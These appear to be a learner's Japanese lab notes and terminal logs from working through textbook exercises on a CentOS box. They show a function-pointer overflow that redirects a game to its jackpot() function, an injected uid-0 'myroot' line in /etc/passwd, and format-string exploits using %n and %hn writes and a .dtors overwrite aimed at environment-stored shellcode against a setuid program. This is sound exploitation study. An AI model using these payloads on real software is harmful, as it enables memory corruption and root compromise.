00592000-00593000 r-xp 00000000 00:00 0          [vdso]
00bd7000-00bf6000 r-xp 00000000 ca:02 58322      /lib/ld-2.12.so
00bf6000-00bf7000 r--p 0001e000 ca:02 58322      /lib/ld-2.12.so
00bf7000-00bf8000 rw-p 0001f000 ca:02 58322      /lib/ld-2.12.so
00bfe000-00d8f000 r-xp 00000000 ca:02 58323      /lib/libc-2.12.so
00d8f000-00d91000 r--p 00191000 ca:02 58323      /lib/libc-2.12.so
00d91000-00d92000 rw-p 00193000 ca:02 58323      /lib/libc-2.12.so
00d92000-00d95000 rw-p 00000000 00:00 0 
08048000-08049000 r-xp 00000000 ca:02 77656      /home/centos/Hacking/0x300/notetaker
08049000-0804a000 rw-p 00000000 ca:02 77656      /home/centos/Hacking/0x300/notetaker
0928f000-092b0000 rw-p 00000000 00:00 0          [heap]
b7600000-b7621000 rw-p 00000000 00:00 0 
b7621000-b7700000 ---p 00000000 00:00 0 
b77bf000-b77c0000 rw-p 00000000 00:00 0 
b77c4000-b77c7000 rw-p 00000000 00:00 0 
bfa49000-bfa5e000 rw-p 00000000 00:00 0          [stack]
???ܡ??Ȥ??ޤ??? (?????????)
# tail /etc/passwd
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd

書き換えに成功

0x342: 関数ポインタのオーバーフロー

# cd ../0x200/
# gcc -g -o game_of_chance game_of_chance.c
# ./game_of_chance 
-=-={ 新規プレイヤーの登録 }=-=-
ユーザ名を入力してください: hayshogo

hayshogoさん、運試しゲームにようこそ!
あなたには100クレジットが与えられます。
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayshogo]
[手元には 100 クレジットあります。] ->  1

[DEBUG] current_game pointer @ 0x08048f78

####### 数字選びゲーム ######
このゲームをするには10クレジットが必要となります。ルールは
1から20までの数字を選ぶだけです。見事に当てることができた場合、
ジャックポットとなり100クレジットが返ってきます!

あなたのアカウントから10クレジットを徴収しました。
1から20までの数字を選んでください: 3
当たり数字は14です。
残念でした。はずれです。

手元には 90 クレジットあります。
もう一度やってみますか? (y/n)  -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayshogo]
[手元には 90 クレジットあります。] ->  7

遊んでいただき、ありがとうございました。 それではまた!
# gcc -g game_of_chance.c
# gdb -q ./a.out
Reading symbols from /home/centos/Hacking/0x200/a.out...done.
(gdb) break main
Breakpoint 1 at 0x804879e: file game_of_chance.c, line 41.
(gdb) run
Starting program: /home/centos/Hacking/0x200/a.out 

Breakpoint 1, main () at game_of_chance.c:41
41    srand(time(0)); // 乱数発生器に種として現在時刻を与える。
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) p player
$1 = {uid = 0, credits = 0, highscore = 0, name = '\000' <repeats 99 times>, current_game = 0}
(gdb) x.x &player.name
A syntax error in expression, near `.x &player.name'.
(gdb) x/x &player.name
0x804ba4c <player+12>:  0x00000000
(gdb) x/x &player.current_game
0x804bab0 <player+112>: 0x00000000
(gdb) p 0x804bab0 - 0x804ba4c
$2 = 100
(gdb) quit
A debugging session is active.

   Inferior 1 [process 15310] will be killed.

Quit anyway? (y or n) y
# perl -e 'print "A"x100 . "BBBB"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
# ./game_of_chance 
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayshogo]
[手元には 50 クレジットあります。] ->  5

ユーザ名を変更します。
新しいユーザ名を入力してください: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
あなたのユーザ名は変更されました。

-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
[手元には 50 クレジットあります。] ->  1

[DEBUG] current_game pointer @ 0x42424242
???????ơ???????ȿ?Ǥ? (?????????)                                      <- Segmentation faultが起きる
  • 任意の関数に飛びたい。
  • バイナリ中のシンボルはnmコマンドで調べられる。
  • ここでは、jackpot()関数を呼び出さえれば、賭けに勝てる。 08048cf7 にある。
# nm game_of_chance
0804b8d8 d _DYNAMIC
0804b9a4 d _GLOBAL_OFFSET_TABLE_
0804961c R _IO_stdin_used
         w _Jv_RegisterClasses
0804b8c8 d __CTOR_END__
0804b8c4 d __CTOR_LIST__
0804b8d0 D __DTOR_END__
0804b8cc d __DTOR_LIST__
0804a8c0 r __FRAME_END__
0804b8d4 d __JCR_END__
0804b8d4 d __JCR_LIST__
0804ba04 A __bss_start
0804ba00 D __data_start
080495d0 t __do_global_ctors_aux
08048690 t __do_global_dtors_aux
08049620 R __dso_handle
         w __gmon_start__
080495ca T __i686.get_pc_thunk.bx
0804b8c4 d __init_array_end
0804b8c4 d __init_array_start
         U __isoc99_scanf@@GLIBC_2.7
08049560 T __libc_csu_fini
08049570 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804ba04 A _edata
0804bab4 A _end
080495fc T _fini
08049618 R _fp_hw
080484d4 T _init
08048660 T _start
         U close@@GLIBC_2.0
0804ba20 b completed.5974
0804ba00 W data_start
08049074 T dealer_no_match
0804ba24 b dtor_idx.5976
0804876a T ec_malloc
         U exit@@GLIBC_2.0
08048714 T fatal
0804922d T find_the_ace
080486f0 t frame_dummy
08048973 T get_player_data
         U getuid@@GLIBC_2.0
08048d24 T input_name
08048cf7 T jackpot
08048795 T main
         U malloc@@GLIBC_2.0
         U memcpy@@GLIBC_2.0
         U open@@GLIBC_2.0
         U perror@@GLIBC_2.0
08048f78 T pick_a_number
08048ebb T play_the_game
0804ba40 B player
08048d86 T print_cards
         U printf@@GLIBC_2.0
         U putchar@@GLIBC_2.0
         U puts@@GLIBC_2.0
         U rand@@GLIBC_2.0
         U read@@GLIBC_2.0
08048a43 T register_new_player
08048c09 T show_highscore
         U srand@@GLIBC_2.0
         U strcpy@@GLIBC_2.0
         U strncat@@GLIBC_2.0
08048e2e T take_wager
         U time@@GLIBC_2.0
08048b0a T update_player_data
         U write@@GLIBC_2.0

perlでさっきのゲームを自動化で、勝負して終了する流れを作成

# perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance 
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayshogo]
[手元には 50 クレジットあります。] ->  
[DEBUG] current_game pointer @ 0x08048f78

####### 数字選びゲーム ######
このゲームをするには10クレジットが必要となります。ルールは
1から20までの数字を選ぶだけです。見事に当てることができた場合、
ジャックポットとなり100クレジットが返ってきます!

あなたのアカウントから10クレジットを徴収しました。
1から20までの数字を選んでください: 当たり数字は8です。
残念でした。はずれです。

手元には 40 クレジットあります。
もう一度やってみますか? (y/n)  -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayshogo]
[手元には 40 クレジットあります。] ->  
遊んでいただき、ありがとうございました。 それではまた!

jackpot()関数を呼び出すように先程のアドレスを指定。

# perl -e 'print "1\n5\nn\n5\n" . "A" x100 . "\xf7\x8c\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance 
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayshogo]
[手元には 40 クレジットあります。] ->  
[DEBUG] current_game pointer @ 0x08048f78

####### 数字選びゲーム ######
このゲームをするには10クレジットが必要となります。ルールは
1から20までの数字を選ぶだけです。見事に当てることができた場合、
ジャックポットとなり100クレジットが返ってきます!

あなたのアカウントから10クレジットを徴収しました。
1から20までの数字を選んでください: 当たり数字は18です。
残念でした。はずれです。

手元には 30 クレジットあります。
もう一度やってみますか? (y/n)  -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayshogo]
[手元には 30 クレジットあります。] ->  
ユーザ名を変更します。
新しいユーザ名を入力してください: あなたのユーザ名は変更されました。

-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?]
[手元には 30 クレジットあります。] ->  
[DEBUG] current_game pointer @ 0x08048cf7
*+*+*+*+*+* ジャックポット *+*+*+*+*+*
あなたは100クレジットのジャックポットを引き当てました!

手元には 130 クレジットあります。
もう一度やってみますか? (y/n)  -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?]
[手元には 130 クレジットあります。] ->  
遊んでいただき、ありがとうございました。 それではまた!

0x350: フォーマット文字列

0x352: フォーマットパラメータ

# cd ../0x300/
# gcc fmt_uncommon.c
# ./a.out
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at bfa53dd8.  B is 7.
# sed -e 's/. B)/)/' fmt_uncommon.c > fmt_uncommon2.c 
# diff fmt_uncommon.c fmt_uncommon2.c 
15c15
<    printf("A is %d and is at %08x.  B is %x.\n", A, &A, B);
---
>    printf("A is %d and is at %08x.  B is %x.\n", A, &A);
# gcc fmt_uncommon2.c 
# ./a.out
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at bff7c5c8.  B is d90ff4.

0x353: 任意のメモリアドレスから読み込みを行う

これも実行できず

# gcc -o fmt_vuln fmt_vuln.c
# chown root:root ./fmt_vuln
# chmod u+s ./fmt_vuln
# ./fmt_vuln testing
ユーザによって入力されたテキストを出力する正しい方法:
testing
ユーザによって入力されたテキストを出力する誤った方法:
testing
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln testing%x
ユーザによって入力されたテキストを出力する正しい方法:
testing%x
ユーザによって入力されたテキストを出力する誤った方法:
testingbf8bd0d0
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln $(perl -e 'print "%08x."x40')
ユーザによって入力されたテキストを出力する正しい方法:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
ユーザによって入力されたテキストを出力する誤った方法:
bf901260.00000000.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# printf "\x25\x30\x38\x78"
%08x


# ./fmt_vuln AAAA%08x.%08x.%08x.%08x
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%08x.%08x.%08x.%08x
ユーザによって入力されたテキストを出力する誤った方法:
AAAAbfc64e20.00000000.00000000.41414141
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln AAAA%08x.%08x.%08x.%08s
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%08x.%08x.%08x.%08s
ユーザによって入力されたテキストを出力する誤った方法:
???????ơ???????ȿ?Ǥ? (?????????)
[root@ip-172-31-25-205 0x300]

なぜかsegmentation faultで実行できず。。

# env | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/root/bin
# gcc -o getenvaddr getenvaddr.c 
# ./getenvaddr PATH ./fmt_vuln
PATH : 0xbfab4e65
# ./fmt_vuln $(printf "\x65\x4e\xab\xbf")%08x.%08x.%08x.%s
ユーザによって入力されたテキストを出力する正しい方法:
eN??%08x.%08x.%08x.%s
ユーザによって入力されたテキストを出力する誤った方法:
???????ơ???????ȿ?Ǥ? (?????????)

0x354: 任意のメモリアドレスに書き込みを行う

フィールド幅を指定することで、%nフォーマットパラメータの直前前に出力されるバイト数を制御できるようになる。しかし、小さい数値の場合のときのみ。
%nは、何も出力せずに、引数が指しているメモリに、フォーマットマットパラメータに遭遇すると、該当関数呼び出しで%nフォーマットパラメータの直前までに出力したバイト数を書き込み

# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%100x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%100x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfb5ecf00                                                                                                   0
[*] test_val @ 0x080498c0 = 113 0x00000071
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%101x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%101x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bffaa2400                                                                                                    0
[*] test_val @ 0x080498c0 = 114 0x00000072
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%400x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%400x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfe596100                                                                                                                                                                                                                                                                                                                                                                                                               0
[*] test_val @ 0x080498c0 = 413 0x0000019d

8はとりあえず、決めたフォーマット幅。その結果、test_valは21という値。
フィールド幅を157にすることでtest_valの値を0xaaにすることができる。

# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%8x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%8x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfbdabd00       0
[*] test_val @ 0x080498c0 = 21 0x00000015
[root@ip-172-31-25-205 0x300]# gdb -q
(gdb) p 0xaa - 21 + 8
$1 = 157
(gdb) quit
[root@ip-172-31-25-205 0x300]# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%157x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%157x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfaff3300                                                                                                                                                            0
[*] test_val @ 0x080498c0 = 170 0x000000aa

0xddccbbaaという値をtest_valに書き込みたい。

0xaaを書き込んだ0x080498c0の直後に0xbbを書き込もうとするもうまく行かず。

書き込む文字列0xaaでなくても4バイトであればなんでもよい。
Segmentation faultになる。

# ./fmt_vuln $(printf "\xc0\x98\x04\x08JUNK\xc1\x98\x04\x0JUNK\xc2\x98\x04\x0JUNK\xc3\x98\x04\x0")%x%x%8x%n
ユーザによって入力されたテキストを出力する正しい方法:
?JUNK??JUNK˜JUNKØ%x%x%8x%n
ユーザによって入力されたテキストを出力する誤った方法:
?JUNK??JUNK˜JUNKØbfc637f00       0
[*] test_val @ 0x080498c0 = 42 0x0000002a
# gdb -q --batch -ex "p 0xaa - 42 + 8"
$1 = 136
# ./fmt_vuln $(printf "\xc0\x98\x04\x08JUNK\xc1\x98\x04\x0JUNK\xc2\x98\x04\x0JUNK\xc3\x98\x04\x0")%x%x%136x%n
ユーザによって入力されたテキストを出力する正しい方法:
?JUNK??JUNK˜JUNKØ%x%x%136x%n
ユーザによって入力されたテキストを出力する誤った方法:
?JUNK??JUNK˜JUNKØbfc744100                                                                                                                                       0
[*] test_val @ 0x080498c0 = 170 0x000000aa
[root@ip-172-31-25-205 0x300]# gdb -q --batch -ex "p 0xbb - 0xaa"
$1 = 17
# ./fmt_vuln $(printf "\xc0\x98\x04\x08JUNK\xc1\x98\x04\x0JUNK\xc2\x98\x04\x0JUNK\xc3\x98\x04\x0")%x%x%136x%n%17x%n
ユーザによって入力されたテキストを出力する正しい方法:
?JUNK??JUNK˜JUNKØ%x%x%136x%n%17x%n
ユーザによって入力されたテキストを出力する誤った方法:
???????ơ???????ȿ?Ǥ? (?????????)

もし、0xddccbbaaの例のように0xdd,0xcc,0xbb,0xaaのように順番に値が大きくならない場合、0x0806abcdのような場合、1つ繰り上げをして計算をする。

# gdb -q --batch -ex "p 0xab - 0xcd"
$1 = -34
# gdb -q --batch -ex "p 0x1ab - 0xcd"
$1 = 222

0x355: ダイレクトパラメータアクセス

先に解説した脆弱性攻撃

  • フォーマットパラメータを正しい順序で指定しておく必要
    • 複数の%xフォーマットパラメータを使って、フォーマット文字列の先頭までに存在する不必要なデータをスキップする必要があった
  • 特定のメモリ上に思い通りの値を書き込むため、%xフォーマットパラメータを使って出カバイト数を制御する必要
    • このため、JUNKという4バイトのデータを3ヶ所に配置しておく必要もありました。

ダイレクトパラメータアクセスで引数に直接アクセスできるようになる

C言語で、以下のように記述。

   printf("7番目: %7$d, 4番目: %4$05d\n",10,20,30,40,50,60,70,80);

シェルでは、バックスラッシュは特殊な意味を持つためエスケープ

%xを並べて複数書く必要はない。

# ./fmt_vuln AAAA%x%x%x%x
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%x%x%x%x
ユーザによって入力されたテキストを出力する誤った方法:
AAAAbfc575e00041414141
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln AAAA%4\$x
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%4$x
ユーザによって入力されたテキストを出力する誤った方法:
AAAA41414141
[*] test_val @ 0x080498c0 = -72 0xffffffb8

複数のアドレスにアクセスする場合、”JUNK”のようなアドレス間の4バイトの文字列も必要なくなるはずだったが、例のごとくうまくいかない。

# ./fmt_vuln $(printf "\xc0\x98\x04\x08\xc1\x98\x04\x0\xc2\x98\x04\x0\xc3\x98\x04\x0")%4\$n
ユーザによって入力されたテキストを出力する正しい方法:
???˜Ø%4$n
ユーザによって入力されたテキストを出力する誤った方法:
???˜Ø
[*] test_val @ 0x080498c0 = 13 0x0000000d
# gdb -q
(gdb) print 0x72 - 13
$1 = 101
(gdb) p 0xfd - 0x72
$2 = 139
(gdb) p 0xff - 0xfd
$3 = 2
(gdb) p 0xbf - 0xff
$4 = -64
(gdb) p 0x1bf - 0xff
$5 = 192
(gdb) quit
# ./fmt_vuln $(printf "\xc0\x98\x04\x08\xc1\x98\x04\x0\xc2\x98\x04\x0\xc3\x98\x04\x0")%101x%4\$n%139x%5\$n
ユーザによって入力されたテキストを出力する正しい方法:
???˜Ø%101x%4$n%139x%5$n
ユーザによって入力されたテキストを出力する誤った方法:
Segmentation fault (core dumped)

0x356: ショートライトを使用する

ショートとは、2バイトのワードを指し、フォーマットパラメータのものを利用

$ man 3 printf
   The length modifier
       Here, "integer conversion" stands for d, i, o, u, x, or X conversion.

       hh     A following integer conversion corresponds to  a  signed  char  or
              unsigned char argument, or a following n conversion corresponds to
              a pointer to a signed char argument.

       h      A following integer conversion  corresponds  to  a  short  int  or
              unsigned  short  int  argument, or a following n conversion corre-
              sponds to a pointer to a short int argument.
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%x%hn
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%x%hn
ユーザによって入力されたテキストを出力する誤った方法:
?bf9567b000
[*] test_val @ 0x080498c0 = -65522 0xffff000e
# ./fmt_vuln $(printf "\xc2\x98\x04\x08")%x%x%x%hn
ユーザによって入力されたテキストを出力する正しい方法:
%x%x%x%hn
ユーザによって入力されたテキストを出力する誤った方法:
bfe060b000
[*] test_val @ 0x080498c0 = 982968 0x000effb8

ショートワードの修飾子を用いることで、2バイトの短整数を一度に書き込めるようになる。

# ./fmt_vuln $(printf "\xc2\x98\x04\x08")%4\$hn
ユーザによって入力されたテキストを出力する正しい方法:
%4$hn
ユーザによって入力されたテキストを出力する誤った方法:
˜
[*] test_val @ 0x080498c0 = 327608 0x0004ffb8
# gdb -q
(gdb) p 0xfd72 - 8                           <- 4バイト全体を2つの%hnパラm−得た
$1 = 64874
(gdb) p 0xbfff - 0xfd72
$2 = -15731
(gdb) p 0x1bfff - 0xfd72
$3 = 49805
(gdb) quit
./fmt_vuln $(printf "\xc2\x98\x04\x08")%64874x%4\$hn%49805x%5\$hn
ユーザによって入力されたテキストを出力する正しい方法:
%64874x%4$hn%49805x%5$hn
ユーザによって入力されたテキストを出力する誤った方法:

:
:
:

                                                                          bfac2660
:
:

       Segmentation fault (core dumped)

0x357: .dtorsを狙った攻撃

GNU Cコンパイラでコンパイルされたバイナリプログラムには、 デストラクタとコンストラクタのために用意されたdtorsとctorsという特殊なテーブルセクションがある。

# cat dtors_sample.c
#include <stdio.h>
#include <stdlib.h>

static void cleanup(void) __attribute__ ((destructor));

main()
{
  printf("main() 関数内で処理を行い、、\n");
  printf("その後、main() の終了時にデストラクタが呼び出される。\n");

  exit(0);
}

void cleanup(void)
{
  printf("後始末関数の処理中、、、\n");
}
# gcc -o dtors_sample dtors_sample.c 
# ./dtors_sample 
main() 関数内で処理を行い、、
その後、main() の終了時にデストラクタが呼び出される。
後始末関数の処理中、、、
}
# nm ./dtors_sample
08049650 d _DYNAMIC
0804971c d _GLOBAL_OFFSET_TABLE_
080484ec R _IO_stdin_used
         w _Jv_RegisterClasses
0804963c d __CTOR_END__
08049638 d __CTOR_LIST__
08049648 D __DTOR_END__
08049640 d __DTOR_LIST__
08048634 r __FRAME_END__
0804964c d __JCR_END__
0804964c d __JCR_LIST__
0804973c A __bss_start
08049738 D __data_start
080484a0 t __do_global_ctors_aux
08048360 t __do_global_dtors_aux
080484f0 R __dso_handle
         w __gmon_start__
0804849a T __i686.get_pc_thunk.bx
08049638 d __init_array_end
08049638 d __init_array_start
08048430 T __libc_csu_fini
08048440 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804973c A _edata
08049744 A _end
080484cc T _fini
080484e8 R _fp_hw
080482b0 T _init
08048330 T _start
08048411 t cleanup
0804973c b completed.5974
08049738 W data_start
08049740 b dtor_idx.5976
         U exit@@GLIBC_2.0
080483c0 t frame_dummy
080483e4 T main
         U puts@@GLIBC_2.0
# objdump -s -j .dtors ./dtors_sample

./dtors_sample:     file format elf32-i386

Contents of section .dtors:
 8049640 ffffffff 11840408 00000000           ............  

.dtorsセクションにはREADONLYラベルがついていないため、書き込み可能セクションということになる。

# objdump -h ./dtors_sample

./dtors_sample:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048134  08048134  00000134  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048148  08048148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000020  0804818c  0804818c  0000018c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000060  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       0000004f  0804820c  0804820c  0000020c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000000c  0804825c  0804825c  0000025c  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048268  08048268  00000268  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000008  08048288  08048288  00000288  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000020  08048290  08048290  00000290  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000030  080482b0  080482b0  000002b0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000050  080482e0  080482e0  000002e0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .text         0000019c  08048330  08048330  00000330  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .fini         0000001c  080484cc  080484cc  000004cc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .rodata       000000ad  080484e8  080484e8  000004e8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .eh_frame_hdr 00000024  08048598  08048598  00000598  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     0000007c  080485bc  080485bc  000005bc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .ctors        00000008  08049638  08049638  00000638  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dtors        0000000c  08049640  08049640  00000640  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000004  0804964c  0804964c  0000064c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000c8  08049650  08049650  00000650  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049718  08049718  00000718  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      0000001c  0804971c  0804971c  0000071c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000004  08049738  08049738  00000738  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          00000008  0804973c  0804973c  0000073c  2**2
                  ALLOC
 25 .comment      0000002d  00000000  00000000  0000073c  2**0
                  CONTENTS, READONLY

GNU Cコンパイラは、デストラクタ属性を宣言した関数の有無に関係なく.dtorsセクションを作成するようになっている。

# nm ./fmt_vuln | grep DTOR
080497c0 D __DTOR_END__
080497bc d __DTOR_LIST__
[root@ip-172-31-25-205 0x300]# objdump -s -j .dtors ./fmt_vuln

./fmt_vuln:     file format elf32-i386

Contents of section .dtors:
 80497bc ffffffff 00000000                    ........        

やはりシェルは取れない

# export SHELLCODE=$(cat shellcode.bin)
# ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE : 0xbf9137cc
# gdb -q
(gdb) p 0xbf91 - 8
$1 = 49033
(gdb) p 0x37cc - 0xbf91
$2 = -34757
(gdb) p 0x137cc - 0xbf91
$3 = 30779
(gdb) quit
# ./fmt_vuln $(printf "\xbc\x97\x04\x08\xc0\x97\x04\x08")%49033x%4\$hn%30779x%5\$hn
ユーザによって入力されたテキストを出力する正しい方法:
??%49033x%4$hn%30779x%5$hn
ユーザによって入力されたテキストを出力する誤った方法:
??                                                                                                                                                                                
:
:
                                                                             bfdcdef0  
:
:
                                                                     0
[*] test_val @ 0x080498c0 = -72 0xffffffb8

0x358: notesearchのさらなる脆弱性

notesearch.cのprint_notes()関数中で呼び出されるprintf()関数

// 特定のユーザでオプショナルの検索文字列に適合するメモを
// 表示する関数;
// ファイルの終端に到達した場合には0、まだメモがある場合には1を返す。
int print_notes(int fd, int uid, char *searchstring) {
   int note_length; 
   char byte=0, note_buffer[100];

   note_length = find_user_note(fd, uid); 
   if(note_length == -1)  // ファイルの終端に到達した場合、
      return 0;           //   0を返す。

   read(fd, note_buffer, note_length); // メモのデータを読み込む。
   note_buffer[note_length] = 0;       // 文字列を終了させる。

   if(search_note(note_buffer, searchstring)) // 検索文字列が見つかった場合、
      printf(note_buffer);                    //   メモを出力する。
   return 1;
}
# ./notetaker AAAA$(perl -e 'print "%x."x10')
